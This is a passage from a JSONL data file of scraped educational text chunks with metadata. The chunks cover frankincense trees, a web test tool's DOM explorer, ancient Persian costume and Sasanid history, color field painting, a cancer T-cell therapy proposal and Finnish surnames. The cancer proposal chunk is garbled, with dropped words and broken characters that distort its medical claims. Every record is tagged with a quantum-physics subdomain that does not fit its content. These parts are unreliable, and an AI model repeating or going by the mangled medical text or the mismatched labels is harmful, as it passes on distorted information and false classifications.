satellites... ' ' hello, computer! ' google now highlighted at io13 mit robot cheetah video shows gait transition ' the legs are long, curled way up to deliver power, like a cheetah ' s. ' trackingpoint smart rifle not your typical ' smart bullet ' approach. sky city ' s 220 stories are go ' it rested among green parklands and... stood in total isolation, a glittering block of whites and flashing windows dotted with colors. ' carmat bioprosthetic total human heart replacement ' george walt ' s corporate existence proved the workability of wholly mechanical organs... ' personal sniffer robots '... the ticking combinations of the olfactory system of the hound. ' physical exam? we ' ve got apps see the future of handheld, personal medical devices. the interplanetary internet, vint cerf speaking ' this was the center of interplanetary communications. ' drosophila robotica, the mechanical fly '... the scarab [ flying robot ] buzzed into the great workroom as any intruding insect might... ' robo - raven flapping wing robot bird ' when he had first built them, they had been crude indeed, flying mechanisms with little more than a reflex - response unit. ' japan ' s nursing home robot plan let ' s make the roujin z - 0001 robotic bed! samsung smart tvs with gesture control ' he waved his hand and the circuit switched abruptly. ' swiss hcpvt giant photovoltaic ' flower ' '... leaning against one of the slender stalks of a sunshade - photocell", "subdomain_id": "subdomain_quantum_entanglement", "similarity_score": 0.5298457961860563, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.950809"} {"text": "they are the most famous christmas presents in history, and roll off the tongue as easily as the alphabet : gold, frankincense and myrrh. every child still learns all about gold from a young age, but how many adults could tell you about those other holy stocking - fillers? both are aromatic resins, made from tree sap. when jesus was born, they cost roughly the same as gold. now they are hundreds of times cheaper than the precious metal, and are still grown in reasonable quantities around the middle east. that might be changing, however. myrrh, made from the commiphora tree, is relatively stable, but frankincense is in the grip of a serious crisis. over - exploitation, changing land use and a destructive beetle are killing its source tree, boswellia sacra. some scientists estimate that without intervention the species could be all but eradicated within 50 years, severing a living botanical connection to the past that is rich in religious and economic history. since ancient egyptian times, the resin has been prized for the sweet smoke it emits when it burns, and its oil, which is a key ingredient in many perfumes. traditionally it was expensive because it is difficult to cultivate. the quintessential biblical tree, boswellia prefers specific desert conditions, in particular the arabian peninsula and parts of north africa. when trees are eight to 10 years old, growers cut the bark, and resin flows out. the first, milky sap is impure and useless, but further cutting a few weeks later produces finer resins. solid \u201c tears \u201d of this are then sold as frankincense : the more opaque the better. gentile de fabriano \u2019 s ' adoration of the magi \u2019 ( bridgemanart. com ) the substance has been traded for more than 5, 000 years, along what is known as the incense road. a mural depicting sacks of frankincense adorns the temple of the egyptian queen hatshepsut, dating from around 1458bc, and it features throughout the old testament before its starring role in the nativity. recently, however, several factors have come together to pose a serious threat to boswellia. research led by dutch scientist professor frans bongers of wageningen university in holland, published last year, showed that commercial boswellia was in danger of extinction. he says that the situation is only getting worse. trees across ethiopia, where most commercial frankincense originates,", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.44377767291189835, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.968907"} {"text": "and die. we must encourage the governments in yemen, oman and sudan to realise that these trees are a part of their heritage, and preserve them in the wild. \u201c in theory, boswellia sacra can grow in california, arizona \u2013 even the uk. at one point, however, it went down to a bottleneck of only a couple of hundred specimens, so its genetic diversity really suffered. we are looking at ways of making it more cold - resistant, so we can expand its growing area. when a tree is heading close to extinction, you can \u2019 t ignore hybrid vigour. \u201c the problem is manpower, \u201d he adds. \u201c to stop a self - pollinating plant like boswellia from reproducing you have to be there armed with tweezers at exactly the right moment. \u201d for him, there is no question that the boswellia tree \u2019 s importance to our culture justifies the effort. \u201c people think it was christianity that made frankincense famous, \u201d he jokes, \u201c but i always say that it was frankincense which made the wise men famous. if they hadn \u2019 t had such a valuable gift, maybe we wouldn \u2019 t have heard about them. \u201c apart from its role in the bible, it changed the whole arabian peninsula. ships would come to collect frankincense, and bring technology and ideas with them. single - handedly, boswellia played a major role in the modernity of the arabian people. maybe it \u2019 s time we gave something back to the plant. \u201d frankincense tree stocks seeds, live plants and tears ( 01492 673 774 ; frankincensetree. com ) miniatree nursery ( miniatree. com )", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4252674597881118, "token_count": 357, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.974509"} {"text": "the dom ( document object model ) is a language neutral and platform independent abstraction that allows the content, structure, and style of html pages to be updated dynamically. the dom explorer displays the dom in a tree format where you see all elements of a page at one time. the dom explorer is helpful with a complex page when simply using the mouse and hover - over - highlighting may not be enough to find the element you ' re looking for. the dom explorer typically shows the html page as the parent element, with head and body elements forming the next level. the elements we ' re testing are usually within the body element. right click an element to see the context menu and perform several operations against the element. - goto - navigate to a parent element. sample entries include the entire page or an iframe element within the page. - show element menu - loads the recording surface with the element highlighted and the elements menu showing. - add to project elements - adds the selected element to the elements explorer. - copy to clipboard - copy the dom element as html. choose either \" tag only \" or \" tag and children \". - properties - show the element ' s properties in a separate window. - enable highlighting on recording surface - elements are highlighted in the recording surface to match selections in the dom explorer tree view. - hierarchical dom view - list elements in their original hierarchy order. - tagname dom view - group elements by their tagname. - parent element filter - contains entries for the entire page and for iframe elements within the page. - refresh tree - re - read the dom and reload the tree view. - search tree - display a second toolbar to search the dom. - search using find expressions - switch from a plain search string to a find expression. searching for elements a simple text search may not have enough horsepower to locate elements located deep in a large or complex dom. for that reason, the dom explorer search tool has rich element identification capabilities that range from simple searches by name to complex criteria expressed using xpath and regular expression searches. you can use simple find expressions that test an element against a value as shown in the screenshot above. that example shows a hit for an element that has an \" id \" attribute of \" lga \". on the left side of the expression you can use any valid attribute name ( i. e. \" id \", \" div \", \" name \", etc. ), or any of the following : - textcontent - returns an element", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4940086623327188, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.983822"} {"text": "the left side of the expression you can use any valid attribute name ( i. e. \" id \", \" div \", \" name \", etc. ), or any of the following : - textcontent - returns an element that has certain text within it. textcontent is only the text at the same level as the node. - innertext - looks for text content inside some set of element tags. innertext is the combined text for a given node and everything below it. - innermarkup - returns an element with specific html markup inside it. - outermarkup - looks for specific html markup inclusive of the element itself. - tagindex ( zero based ) - xpath - xml path language expressions, a syntax for selecting elements in an xml document. see msdn for examples. note : in silverlight applications you can use silverlight specific search terms, such as automationid, textcontent, xamltag, and name. append an additional operator to the \" = \" to make other comparisons. here is an example that searches for the \" type \" attribute that starts with \" hidden \". regular expressions ( regex ) are sequences of text characters used to describe a search pattern. they are somewhat akin to \" wildcard \" characters, i. e. \" * \" or \"? \", but are much more flexible and powerful. regular expressions start with the \" # \" character. see msdn for examples. here is an example that searches for the \" onload \" attribute that contains the word \" focus \".", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4873955292237213, "token_count": 324, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.985597"} {"text": "persia type : border fragment, period : 224 to 651 a. d warp : material : linen, tan, material spin / ply : 5 - 2 z spun density : weft : material : wool, dyed, natural spin / ply : 5 spun density : 42 - 52in. decoration / surface : technique : slit - tapestry, curved wefting, weft - faced. remarks : remains on left upper corner of a pointing hand ; wide variety of earth tone colours : rust, dark brown, tan, olive, brown - wine. history of ancient textiles and costumes in persia ( iran ) our knowledge of dress in ancient persia comes from pictorial depictions mainly on rock reliefs, metalwork ( including coinage ), seal impressions, and, from about the second century c. e., wall paintings. information is fragmentary and episodic, and relates to the ruling households, the military, divinities, and occasionally priests ; depictions of women ( even female goddesses ) are rare. elamite textiles and costumes ( 2750 - 653 b. c. ) in its heyday the elamite empire controlled the region from eastern mesopotamia to central asia and pakistan, but after 1100 b. c. its political influence waned. early elamite cylinder seals show bearded men ( possibly princes or priests ), wearing multi - layered skirts \u2014 perhaps of hanging feathers, leather strips, or sheepskin \u2014 similar to those found in certain votive statues from mari ( an ancient syrian city ), and clay tablets reveal that wool and flax were being exported to neighboring lands. a few seals ( c. 2200 - 1600 b. c. ) include female figures wearing similar but fuller skirts. however, a bronze statue ( now in the louvre ) of queen napirasu ( d. 1333 b. c. ) from susa shows a diagonally necked bodice with elbow - length sleeves, a long, bell - shaped skirt with wide decorated bands around the hips and down the left front, fabric flaps on the right hip, and a deep fringe ( possibly of sheep wool ) around the hem. later elamite rock reliefs ( e. g., kuh - i farah, c. 800 b. c. ), although seriously eroded, record ankle - length, long - sleeved robes worn with projecting shoulder collars. achaemenid textiles and costumes ( 550 - 330 b. c. ) the persian achaemenid family triumphed over the medes of northwest iran, seizing", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.48070169112658945, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.010573"} {"text": "ankle - length, long - sleeved robes worn with projecting shoulder collars. achaemenid textiles and costumes ( 550 - 330 b. c. ) the persian achaemenid family triumphed over the medes of northwest iran, seizing land stretching from the balkans to the tian shan mountains in central asia and china, until its destruction by alexander the great. the ceremonial capital of persepolis provides most costume pictorial evidence ; scholastic opinion is divided regarding whether details on the so - called oxus treasure ( british museum ) and surviving clothing from other central asian sites such as pazyryk should be considered iranian achaemenid or central asian dress. the persepolis reliefs and the susa tile revetments ( louvre ) reveal nothing of women \u2019 s and children \u2019 s dress but show two distinct male costumes : the \u201c median \u201d dress of long trousers tucked into ankle boots, a tunic under a knee - length, a long - sleeved coat ( kandys ) draped over the shoulders, and a rounded soft cap encircled by metal fillet ; and the \u201c persian \u201d dress of an ankle - length, draped skirt, a top with four deep pleats at the elbow, and a tall, fluted cap ( possibly of feathers or padded felt ). it is this latter garment that has provoked discussion. rejecting a theory from the 1930s that the garment was made of an unseamed rectangle of fabric folded on the shoulders and belted to form drapery folds, anna roes argued for a sophisticated construction of two separate pieces : a waist - length cape with a triangular insert at the elbow creating four sleeve pleats, and a sari - like skirt with hanging fabric bands down the front, back, and sides. two decades later, p. beck ( 1972 ) proposed another structure based on two lengths joined at the shoulder, both differently cut to produce the curves and pleats of the distinctive sleeves. neither theory is entirely satisfactory regarding the skirt as detailed on seated figures. at court, men \u2019 s hair was worn behind the ears to shoulder - length, tightly curled, while the beards ( which may have been false ) were carefully arranged into ringlets, interrupted by rows of tight curls. parthian or arsacid textiles and costumes ( 250 b. c. - 224 a. d. ) the various silk roads crossing asia flourished in the parthian period, bringing chinese silk to the west in exchange for horses, wool, and linen. short - staple cotton was perhaps being cultivated in eastern iran but was available from", "subdomain_id": "subdomain_quantum_computing", "similarity_score": 0.47112802924587, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.013327"} {"text": "224 a. d. ) the various silk roads crossing asia flourished in the parthian period, bringing chinese silk to the west in exchange for horses, wool, and linen. short - staple cotton was perhaps being cultivated in eastern iran but was available from east africa and the persian gulf regions. most detailed information about the dress from this period is gleaned from pictorial art from the ancient cities palmyra, dura europos, hatra, and nimrud dag \u2014 as well as from central asian regions of ancient syria, ancient iraq, and ancient anatolia \u2014 but modern specialists in these regions often evaluate such clothing as \u201c national \u201d rather than parthian \u201c imperial \u201d dress. the man of rank wore a hip - or thigh - length belted tunic with narrow, long sleeves, although the palmyran sculptures show a long fabric tie, knotted and looped. there were various methods of fastening tunics, possibly denoting differences in rank, status, or, perhaps, office : wide diagonal openings right to left, small and deep rounded necks, square necks, and extended neck lapels fastening below the front left shoulder. the tunic sometimes had heavy drapery folds forming a u - shaped apron, and a long - sleeved, calf - length, narrow - fitting jacket was worn over this. loose trousers, often heavily patterned and banded down the center of the leg, were gathered at the ankle or into calf - length boots. a long folded stole, or strip of silk, on the left shoulder, shown on figures in some images, may indicate priestly attire. regarding head covering, gods, kings, and generals ( as those at hatra and nimrud dag ) are shown with tall helmets with a narrow front profile, decorated with \u201c pearl \u201d beading. information regarding female attire is sparse. the greek chiton is said to be the inspiration behind the palmyran dress, but ladies \u2019 bodices in khaltchyan wall - reliefs are close - fitting with a deep or shallow neck, with additional material flaring from the breast band. below this a trailing pleated skirt was worn, and a long, wide stole covered the shoulders or was draped over the arms. sasanid textiles and costumes ( 224 - 658 a. d. ) from the fifth century, iranian cotton was being exported to china along with linen flax and wool. chinese imperial histories record that silkworms were smuggled into central asia in 419 c. e., but the arab histories and iranian poetry", "subdomain_id": "subdomain_quantum_computing", "similarity_score": 0.4211186427581868, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.015459"} {"text": ") from the fifth century, iranian cotton was being exported to china along with linen flax and wool. chinese imperial histories record that silkworms were smuggled into central asia in 419 c. e., but the arab histories and iranian poetry suggest sericulture was established in sasanid lands around 300 c. e.. draw - loom technology was known from eastern mediterranean lands, but most dress fabrics were still made on the narrow back - strap loom. tapestry ( slit ) weave and compound twill weave are mostly associated with sasanid wool and silk dress fabrics, respectively. the rock carvings near shiraz show shahs in fitted bodices, perhaps of molded leather, together with full - length trousers or chaps with long wavy curls of either sheepskin or very fine fabric. by the mid - fourth century a draped apron - like tunic, reaching to the lower calf in front, was worn, and some later silver dishes depict another type of tunic with stiffly pointed side corners. by the late fifth or early seventh century \u2014 depending on the date of a carving at taq - i bustan \u2014 the royal dress was a long - sleeved, knee - length tunic in heavily patterned woven silk, or decorated with padded applique forms ; the belt had hanging lappets signifying status ( the more numerous, the higher the rank ). a double row of beading decorated the central front fastening, neck, cuffs, and hem edges. underneath, ample trousers were gathered into soft ankle boots fastened with long ribbon ties. each shah wore a distinctive crown often incorporating a large \u201c balloon \u201d ( possibly of hair ), while princes and generals had tall caps with a slight phrygian curve ending in a bird or animal head, or decorated with a stylized emblem. a few images of the zoroastrian goddess, anahita, and court entertainers provide most information about women \u2019 s dress. in a late - third - century relief at naqsh - i rustam, anahita has an ankle - length robe, falling in diaphanous folds and girded by a creped ribbon belt. however, at taq - i bustan, carved at least 150 years later, her long - sleeved robe falls from a shoulder clasp with a sleeved coat ( possibly felt ) draped over her shoulders. her tall, tasseled headdress is more elaborate than those of female musicians in the hunting compositions beneath. on sasanid metalwork female dancers are noticeable for", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4458004887439545, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.016556"} {"text": "shoulder clasp with a sleeved coat ( possibly felt ) draped over her shoulders. her tall, tasseled headdress is more elaborate than those of female musicians in the hunting compositions beneath. on sasanid metalwork female dancers are noticeable for their long stoles draped across the front at hip level. in the rare depictions of royal ladies, the dress is similar to those of anahita, while the children wear miniature versions of the regal ensembles. in sasanid times, zoroastrianism was officially promoted, and zoroastrian priestly dress was probably formalized in this period. ritual regulations concerning the lambswool kusti ( girdle ) and cotton sndra ( shirt ), worn by all adult believers, were also probably codified during this period. the sassanids established an empire roughly within the frontiers achieved by the achaemenids, with the capital at ctesiphon. the sassanids consciously sought to resuscitate iranian traditions and to obliterate greek cultural influence. their rule was characterized by considerable centralization, ambitious urban planning, agricultural development, and technological improvements. sassanid rulers adopted the title of shahanshah ( king of kings ), as sovereigns over numerous petty rulers, known as shahrdars. historians believe that society was divided into four classes : the priests, warriors, secretaries, and commoners. the royal princes, petty rulers, great landlords, and priests together constituted a privileged stratum, and the social system appears to have been fairly rigid. sassanid rule and the system of social stratification were reinforced by zoroastrianism, which became the state religion. the zoroastrian priesthood became immensely powerful. the head of the priestly class, the mobadan mobad, along with the military commander, the eran spahbod, and the head of the bureaucracy, were among the great men of the state. rome, with its capital at constantinople, had replaced greece as iran ' s principal western enemy, and hostilities between the two empires were frequent. shahpur i ( 240 - 272 ce ), son and successor of ardeshir, waged successful campaigns against the romans and in 260 ce even took the emperor valerian prisoner. between 260 and 263 ce he had lost his conquest to odenathus, and ally of rome. shapur ii ( ruled 309 - 379 ce ) regained the lost territories, however, in three successive wars with the romans. a rock relief at naq", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4195504559547961, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 4, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.017597"} {"text": "and 263 ce he had lost his conquest to odenathus, and ally of rome. shapur ii ( ruled 309 - 379 ce ) regained the lost territories, however, in three successive wars with the romans. a rock relief at naqsh - e rostam, depicting the triumph of shapur i over the roman emperor valerian, and philip the arabian khosro i ( 531 - 579 ce ), also known as anushirvan the just, is the most celebrated of the sassanid rulers. he reformed the tax system and reorganized the army and the bureaucracy, tying the army more closely to the central government than to local lords. his reign witnessed the rise of the dihqans ( literally, village lords ), the petty landholding nobility who were the backbone of later sassanid provincial administration and the tax collection system. khosro was a great builder, embellishing his capital, founding new towns, and constructing new buildings. he rebuilt the canals and restocked the farms, which had been destroyed in the wars. he built strong fortifications at the passes and placed subject tribes in carefully chosen towns on the frontiers, so that they could act as guardians of the state against invaders. justinian paid him 440, 000 pieces of gold, as a bribe to keep the peace, but he seems to have been a man who genuinely enjoyed the fruits of peace and saw no reason to continue a senseless war. he was tolerant of all religions, though he decreed that zoroastrianism should be the official state religion, but he was not unduly disturbed when one of his sons became a christian. under his auspices, too, many books were brought from india and translated into pahlavi. some of these later found their way into the literature of the islamic world. the reign of khosro ii ( 591 - 628 ce ) was characterized by the wasteful splendor and lavishness of the court. toward the end of his reign khosro ii ' s power declined. in renewed fighting with the byzantines, he enjoyed initial successes, captured damascus, and seized the holy cross in jerusalem. but counterattacks by the byzantine emperor heraclius brought enemy forces deep into sassanid territory. in the spring of 633 ce a grandson of khosro called yezdegerd ascended the throne, and in that same year the first arab squadrons made their first raids into persian territory. years of warfare exhausted both the byzantines and the iranians. the", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.3868713184143721, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 5, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.019192"} {"text": "the ancient world : introduction our course divides into three sections, and while there is much overlap between them, each era is quite distinctive. in the ancient world, we are dealing with a variety of civilizations over the course of a few thousand years. i choose not to tell that entire story, though your textbook does. the general drift of that story is westward. the early civilizations are near eastern, centered in the fertile crescent and in egypt. the focus of a western civilization course then moves westward to greece and then westward again to rome. in my own presentation, i acknowledge a certain inheritance from those near eastern cultures, but i emphasize the greater influence of greece and rome. whereas we can compile a very long list of the contributions made by the greeks and the romans, we can compile only a comparitively short list of contributions made by babylon or egypt, and even less from the hittites or assyrians. these were all important and extremely interesting cultures, but i skip over them so that i can devote more time to other, later topics. any proper study of the ancient world would, however, need to take full account of them. the ancient world in the narrower sense i give it was a world centered on the mediterranean sea. it was a pagan world, with a great many gods and goddesses, not all of whom were greek or roman. politically it was dominated by city - states and empires rather than by kings or nation - states. commerce, and especially sea - borne commerce, unified the world economically. socially it was defined by whether one was a slave or a citizen, and if a citizen, by what family one belonged to. culturally, it was bounded by language : by greek first, then by a combined dominance of latin and greek. it was a \" civilized \" world in the pure sense of the word : the latin word for city is \" civis \". people who lived in cities, or who were citizens even if they lived in the country, were ipso facto civilized. and anyone who lived outside the range of city - states were by that very fact uncivilized. this is another reason why i start the story of \" western civilization \" with greece : because it was the first culture that was \" civilized \" ; it was the first that was dominated by its cities. at some point, these characteristics changed fundamentally. the pagan religions gave way to christianity. people began to speak of \" christendom \" rather than \" hellas \" or the imperium, and \" rome \" meant a", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4860351760430125, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.024448"} {"text": "\" we are creating images whose reality is self - evident and which are devoid of the props and crutches that evoke associations with outmoded images, both sublime and beautiful... the image we produce is the self - evident one of revelation, real and concrete, that can be understood by anyone who will look at it without the nostalgic glasses of history. \" color field painting is a tendency within, distinct from gestural abstraction, or action painting. it was pioneered in the late 1940s by,, and, who were all independently searching for a style of abstraction that might provide a modern, mythic art and express a yearning for transcendence and the infinite. to achieve this they abandoned all suggestions of figuration and instead exploited the expressive power of color by deploying it in large fields that might envelope the viewer when seen at close quarters. their work inspired much, particularly that of,,, and, though for later color field painters, matters of form tended to be more important that mythic content. rothko, newman, and still were all independently moving in the direction of color field abstraction in the late 1940s. still is generally acknowledged as having achieved it first with a series of paintings he exhibited in 1947, but newman was also important in making early theoretical contributions to the style. in the same year he organized an exhibition for betty parsons gallery entitled the ideographic picture, which gathered together artists such as,, and, and pointed to the development in recent american art of a \" modern counterpart of the primitive art impulse. \" it was summed up in the concept of the ideograph, which he described - quoting a dictionary - as a \" character, symbol or figure which suggests the idea of an object without expressing its name. \" newman was searching for an abstract art that might do away with all figurative or quasi - figurative motifs. an abstract form could be a \" living thing, \" he wrote in the exhibition ' s influential catalogue essay, \" a vehicle for an abstract thought - complex. \" it would be more real and present than a form that was merely abstracted from nature or an object. the fruitful directions that newman, rothko, and still were traveling in meant that by the late 1940s abstract expressionism was starting to split into two divergent tendencies - color field painting and gesture painting. it was not until the 1950s, however, that this formal split was widely recognized by critics. concepts and styles although still, rothko, and newman all developed different understandings of the content of their", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5207343785714944, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.037694"} {"text": ". as the 1960s commenced, artists who clement greenberg categorized as post - painterly abstractionists were among the most prominent color field painters. morris louis was creating work that contained a degree of symmetry, rendered by pouring paint in broad bands across the surface of the canvas. kenneth noland was painting his bold geometric shapes - targets and chevrons, mostly - and beginning to experiment with shaped canvases. and painters such asand were also described as late color field painters, even though their work was also often associated with '. ' \" a painting is not a picture of an experience ; it is an experience. \" - mark rothko \" the best works are often those with the fewest and simplest elements - pictures that are almost obvious, until you look at them a little more and things begin to happen. \" - clyfford still \" although the composition and function of color are two of the most important factors in determining the qualitative content of a painting, the reciprocal relation of color to color produces a phenomenon of a more mysterious order. this new phenomenon is psychological. a high sensitivity is necessary in order to expand color into the sphere of the surreal without losing creative ground. color stimulates certain moods in us. it awakens joy or fear in accordance with its configuration. in fact, the whole world, as we experience it visually, comes to us through the mystic realm of color. our entire being is nourished by it. this mystic quality of color should likewise find expression in a work of art. \" - hans hofmann \" my canvases are not full because they are full of colors but because color makes the fullness. the fullness thereof is what i am involved in. it is interesting to me to notice how difficult it is for people to take the intense heat and blaze of my color. if my paintings were empty they could take them with ease. \" - barnett newman \" my concern is with the fullness that comes from emotion, not with its initial explosion, or its emotional fallout, or with the glow of its expenditure. the fact is, i am an intuitive painter, a direct painter... i present no dogma, no system, no demonstrations. i have no formal solutions... i work only out of high passion. \" - barnett newman", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5193887135963536, "token_count": 464, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.040734"} {"text": "background : the immune system is very powerful. it can precisely target pathogens and afack them with high. most infec. ons last a few days, or at most weeks, and then are permanently eliminated with lifle or no damage to the body. in contrast cancer can last many years and open results in death. cancer will one in three of us. many treatments for cancer have been developed, but are open of limited and have harsh side. therefore, it would be a major breakthrough in cancer therapy if the power and precision of the immune system could be brought to bear against cancer. most to treat cancer with immunotherapy have involved vaccines. some vaccines have had success, many have failed. another, more recently developed treatment is that of t cell reprogramming. in this approach, t cells are taken from a pa. ent, gene. cally modi\ufb01ed to express an. bodies against a novel an. gen, and then infused intravenously back into the pa. ent. the use of autologous t cells prevents grap - \u2010 vs - \u2010 host disease, while the gene. c modi\ufb01ca. on makes the t cells target the cancerous cells, and the fact that the t cells are exogenously cultured means that the treatment does not depend upon the pa. ent to generate a strong immune response. approach : the genomically informed choice of an. gen makes it applicable to a wide variety of cancers and makes personalized medicine a reality. to make t cell reprogramming more. ve for general use, two modi\ufb01ca. ons must be made. first, the an. gen to target must be carefully chosen. whole - \u2010 exome sequencing of tumor cells would reveal any cell - \u2010 surface proteins that have undergone muta. ons. the most promising candidate can be chosen as a target an. gen. intra - \u2010 tumor heterogeneity may make it necessary to target mul. ple an. gens. then t cells can be reprogrammed to target the target an. gen ( s ). second, the cancer must be diligently monitored and addi. onal an. gens selected for targe. ng if the ini. al an. gen is lost. fortunately, advances in genome sequencing make both of these modi\ufb01ca. ons possible. ideally, the cancer would be completely eradicated by the t", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.5258026996126242, "token_count": 506, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.048446"} {"text": "##s selected for targe. ng if the ini. al an. gen is lost. fortunately, advances in genome sequencing make both of these modi\ufb01ca. ons possible. ideally, the cancer would be completely eradicated by the t cell therapy. however, it is possible that some cancer cells might survive. if this is the case, then the surviving cells must be monitored. if there is evidence that the targeted an. gen has been lost, then new target an. gens must be chosen and a subsequent round of t cell therapy undergone. requirements : this project will involve various kinds of research, sequencing the cancer cells, bioinforma. c analysis of sequence data, genera. ng an. bodies against candidate an. gens, taking t cells, personalized reprogramming of t cells, infusion and monitoring of mouse health, with the possibility of subsequent rounds of treatment. ini. ally, a pilot study could be done ; ul. mately, a larger study, would be necessary to establish. es1mated costs : pilot project : monitor for cancer, perform biopsies, sequence, generate t cells, infuse t cells and monitor health, with sequencing of surviving cancer cells once every 3 months. salaries : $ 440, 000 / year. research materials : $ 20, 000 / year equipment ( hoods, etc. ) : $ 250, 000 larger study : 3 specialists, 3 scien. sts, 2 bioinforma. cians, 3 technicians. salaries : $ 760, 000 / year research materials : $ 100, 000 / year one - \u2010 expenses : computers : $ 105, 000 equipment ( pcr machines,. ssue culture hoods etc. ) : $ 850, 000 project total : $ 2, 592, 500", "subdomain_id": "subdomain_quantum_entanglement", "similarity_score": 0.5011809920795971, "token_count": 370, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.049149"} {"text": "in finland, a person must have a surname and 1 \u2013 3 first names. surnames are usually inherited patrilineally, while first names are usually chosen by person ' s parents. finnish names come from a variety of dissimilar traditions that were consolidated only in the early 20th century. the first national act on names came into force in 1921, and it made surnames mandatory. between 1930 and 1985, the western finnish tradition whereby a married woman took her husband ' s surname was mandatory. previously in eastern finland, this was not necessarily the case. pronunciation of finnish names is according to finnish phonology. the letter ' j ' denotes the approximant [ j ], as in english you. for example, the two different names maria and marja are pronounced nearly identically. the letter ' y ' denotes the vowel [ y ], not found in english, but similar to german ' u ' and french ' u '. ' r ' is rolled. the stress is always on the first syllable. for example, yrjo kaariainen is pronounced [ ' yr. j\u00f8 ' k\u00e6\u00e6. ri. \u00e6i. nen ]. double letters always stand for a geminate or longer sound, e. g. marjaana has a stressed short / \u0251 / followed by an unstressed long / \u0251\u02d0 /. when writing finnish names without the finnish alphabet available ( such as in e - mail addresses ), the letters ' a ' and ' o ' are usually replaced with ' a ' and ' o ', respectively, e. g. jaatteenmaki as jaatteenmaki. this is not the same, but visually recognizable. finnish has a long bilingual history and it is not unusual for finnish speakers to have swedish surnames or given names. such names may be pronounced according to finland - swedish phonology. finland has two predominant surname traditions : the west finnish and the east finnish. until the early 20th century, finland was a predominantly agrarian society and the names of west finns were based on their association with a particular area, farm, or homestead, e. g. jaakko jussila ( \" jaakko from the farm of jussi \" ). farm names typically had the suffix - la and could refer to the husband ( like jussila ) or describe the location ( e. g. isoaho \" large clearing \" ). this name could change every time the person moved to a different farm. farm names, patronyms", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4357550575656348, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.058071"} {"text": "and could refer to the husband ( like jussila ) or describe the location ( e. g. isoaho \" large clearing \" ). this name could change every time the person moved to a different farm. farm names, patronyms and village names could be used to disambiguate between different people, but they were not true inherited surnames. for example, in the novel seven brothers ( aleksis kivi, 1870 ) the character juhani was officially summoned as juhani juhanin - poika jukola, toukolan kylasta ; \" juhani, son of juhani, from jukola farm, toukola village \". on the other hand, the east finnish surname tradition dates back to 13th century. there, the savonians pursued slash - and - burn agriculture which necessitated moving several times during a person ' s lifetime. this in turn required the families to have surnames, which were in wide use among the common folk as early as the 13th century. by the mid - 16th century, the east finnish surnames had become hereditary. typically, the oldest east finnish surnames were formed from the first names of the patriarchs of the families, e. g. ikavalko, termonen, pentikainen. in the 16th, 17th and 18th centuries, new names were most often formed by adding the place name of the former or current place of living ( e. g. puumalainen < puumala ). in the east finnish tradition, the females carried the family name of their fathers in female form ( e. g. puumalatar < puumalainen ). by the 19th century, this practice fell into disuse due to the influence of west - european surname tradition. also, women did not change their surnames with marriage. in western finland, the agrarian names dominated, and the last name of the person was usually given according to the farm or holding they lived on. in 1921, surnames became compulsory for all finns. at this point, the agrarian names were usually adopted as surnames. a typical feature of such names is the addition of prefixes ala - ( sub - ) or yla - ( up - ), giving the location of the holding along a waterway in relation of the main holding ( e. g. yli - ojanpera, ala - verronen ). in pohjanmaa, there are similar prefixes rinta - \" downstream \"", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 